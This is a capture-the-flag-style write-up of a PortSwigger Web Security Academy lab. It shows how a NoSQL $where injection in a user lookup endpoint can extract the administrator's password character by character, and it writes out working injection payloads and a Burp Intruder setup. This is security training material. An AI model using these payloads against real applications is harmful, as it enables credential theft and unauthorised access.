Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type NoSQL Injection / Data Extraction
Difficulty Practitioner
Objective Exploit a $where-style NoSQL injection in the user lookup endpoint to extract the administrator's password character by character

Exploiting NoSQL Injection to Extract Data

I logged in as wiener:peter. HTTP history showed a lookup request:

GET /user/lookup?user=wiener HTTP/2
Screenshot
Screenshot

Querying the administrator directly:

GET /user/lookup?user=administrator
Screenshot

A single quote broke the query — syntax injection confirmed, $where-style JavaScript evaluation. The always-true override returned the administrator record:

GET /user/lookup?user='||true||'
Screenshot

This is the NoSQL equivalent of SQL boolean-based blind injection — inject a condition that returns different responses for true/false, test one bit at a time, reconstruct the secret. The syntax is JavaScript (this.password[0] == 'a') rather than SQL, but the logic is identical.

Checking password length first to bound the Intruder attack precisely — an 8-character password means 8 × 36 = 288 requests rather than an open-ended sweep:

GET /user/lookup?user=administrator' && this.password.length == 8 || 'a'=='b
Screenshot

When length == 8 returned the administrator data, the password length was confirmed. The || 'a'=='b terminator ensures a definite false branch when the condition is false — making the boolean oracle clean.

Extracting each character with a cluster bomb attack — position §0§ cycling 0-7, character §x§ cycling a-z and 0-9:

GET /user/lookup?user=administrator' && this.password[§0§]=='§x§
Screenshot
Screenshot

Cluster bomb tests every position/character combination simultaneously — pitch/sniper would require knowing one variable first. The grep match filter surfaces only true responses; reconstructing the password from the matching rows is straightforward.

Screenshot

Lab solved :P

Resources